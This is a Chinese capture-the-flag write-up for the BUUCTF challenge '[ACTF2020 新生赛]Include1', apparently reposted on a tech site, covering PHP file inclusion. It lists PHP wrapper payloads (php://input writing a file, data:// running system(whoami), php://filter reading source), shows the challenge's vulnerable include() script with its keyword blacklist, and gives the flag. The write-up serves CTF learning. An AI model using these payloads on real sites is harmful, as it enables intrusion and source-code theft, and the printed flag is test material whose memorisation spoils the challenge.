• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

[ACTF2020 新生赛]Include1

武飞扬头像
won1
帮助1

题目:[ACTF2020 新生赛]Include1

学新通

题目来源:buuctf

过程分析:

1、首先看到一个tips,我们打开看看

学新通

学新通

然后从题目我们知道这个是一个文件包含题,对文件进行php伪协议检测


伪协议

  1.  
    php://input:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
  2.  
    条件:
  3.  
    php <5.0 ,allow_url_include=Off 情况下也可以用
  4.  
    php > 5.0,只有在allow_url_fopen=On 时才能使用
  5.  
    例:
  6.  
    http://localhost/include/file.php?file=php://input //URL
  7.  
    <?php fputs(fopen("a.php","w"),"<?php phpinfo();?>")?> //POST,创建一个文件a.php;并写入phpinfo
  8.  
    data://:将原本的include的文件流重定向到了用户可控制的输入流中
  9.  
    条件:
  10.  
    allow_url_include=On
  11.  
    php > 5.2
  12.  
    例:
  13.  
    http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg== //base64加密<?php system(whoami);?>;直接执行命令
  14.  
    http://localhost/image.php?imagedata=data://image/jpeg;base64,..... // 后面加上图片木马;图片命令执行
  15.  
    php://filter:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过
  16.  
    例:
  17.  
    http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword //可以跟绝对路径也可以跟相对路径
  18.  
    http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/2.txt //远程路径
  19.  
    防御:
  20.  
    尽量使用安全版本的php
  21.  
    做好php的安全配置
  22.  
    对相应目录做相应权限设置
学新通

使用input伪协议会被检车会被过滤,我们换一种filter读取源代码

学新通

?file=php://filter/read=convert.base64-encode/resource=index.php

 学新通

用工具将伪代码解码就得到文件源码了

学新通

  1.  
    <meta charset="utf8">
  2.  
    <?php
  3.  
    error_reporting(0);
  4.  
    $file = $_GET["file"];
  5.  
    if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
  6.  
    exit('hacker!');
  7.  
    }
  8.  
    if($file){
  9.  
    include($file);
  10.  
    }else{
  11.  
    echo '<a href="https://blog.csdn.net/weixin_64160292/article/details/?file=flag.php">tips</a>';
  12.  
    }
  13.  
    ?>

input伪协议是被过滤了,我们再用filter伪协议去读取flag.php文件

?file=php://filter?read=convert.base64-encode/resource=flag.php

学新通

 再用base64工具解码就得到flag了

学新通

flag{eba8550a-7871-47ae-b101-232fdb610777}

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgaejbg
系列文章
更多 icon
同类精品
更多 icon
继续加载